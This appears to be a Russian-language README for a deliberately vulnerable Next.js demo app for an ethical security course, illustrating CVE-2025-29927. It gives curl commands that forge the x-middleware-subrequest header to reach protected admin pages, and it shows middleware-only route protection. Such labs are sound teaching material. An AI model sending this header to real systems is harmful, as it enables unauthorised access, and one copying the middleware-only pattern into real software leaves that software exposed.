
Образовательная демонстрация CVE-2025-29927, критического обхода аутентификации промежуточного ПО Next.js. Включает уязвимую панель администратора, команды эксплойта proof-of-concept и руководство по смягчению последствий для обучения безопасности.
ПРЕДУПРЕЖДЕНИЕ: Это приложение намеренно уязвимо. Только для образовательных и авторизованных целей исследования безопасности. НЕ развертывайте на общедоступном сервере.
Это приложение демонстрирует CVE-2025-29927, критическую уязвимость обхода аутентификации в промежуточном ПО Next.js (CVSS 9.1). Приложение имитирует реалистичную корпоративную панель администратора для вымышленной компании «Himalaya Tech Pvt. Ltd.» — что делает визуально впечатляющим последствия обхода.
Все записи сотрудников, ключи API, учетные данные базы данных и другие «конфиденциальные» данные, показанные здесь, являются полностью вымышленными и имитированными — созданными только для образовательной демонстрации.
| Поле | Подробности |
|---|---|
| CVE ID | CVE-2025-29927 |
| Серьезность | Критическая (CVSS 9.1) |
| Затронутые версии | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Исправлено в | Next.js 14.2.30, 15.2.3 |
| Тип | Обход аутентификации в middleware через манипуляцию HTTP-заголовком |
Next.js использует внутренний HTTP-заголовок x-middleware-subrequest для отслеживания рекурсивных вызовов middleware
и предотвращения бесконечных циклов. В уязвимых версиях злоумышленник может подделать этот заголовок
во внешнем запросе. Когда заголовок присутствует и совпадает с идентификатором middleware,
среда выполнения Next.js полностью пропускает middleware, включая всю логику аутентификации,
определенную в нем.
Любое приложение, которое полагается исключительно на middleware.ts для защиты маршрутов (распространенный и
рекомендуемый паттерн Next.js), является уязвимым. Неаутентифицированный злоумышленник может получить доступ к любой
защищенной странице, просто добавив один HTTP-заголовок.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — full admin dashboard HTML returned, no authentication required
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Добавьте заголовок запроса x-middleware-subrequest: middleware к любому запросу к /admin/*
и проверка middleware будет пропущена.
middleware.ts является единственным механизмом защиты:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
Сами компоненты страниц (например, app/admin/page.tsx) не содержат проверок аутентификации —
намеренно, чтобы отражать реальные приложения, которые следуют шаблону защиты только через middleware.
npm install
npm run dev
Приложение будет доступно по адресу http://localhost:3000.
*Защищено только middleware — обходится через CVE-2025-29927.
[email protected]Admin@2024Это приложение предоставляется только в образовательных целях, специально для демонстрации реального воздействия CVE-2025-29927 в контексте курса по этичной безопасности. Все данные (записи сотрудников, ключи API, учетные данные) являются полностью вымышленными. Не используйте это демонстрационное приложение или продемонстрированные здесь методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
| Маршрут | Требуется аутентификация | Описание |
|---|
/ | Нет | Публичная целевая страница |
/login | Нет | Форма входа |
/admin | Да* | Панель администратора с конфиденциальными данными |
/admin/users | Да* | Управление пользователями |
/admin/settings | Да* | Системные настройки и учетные данные |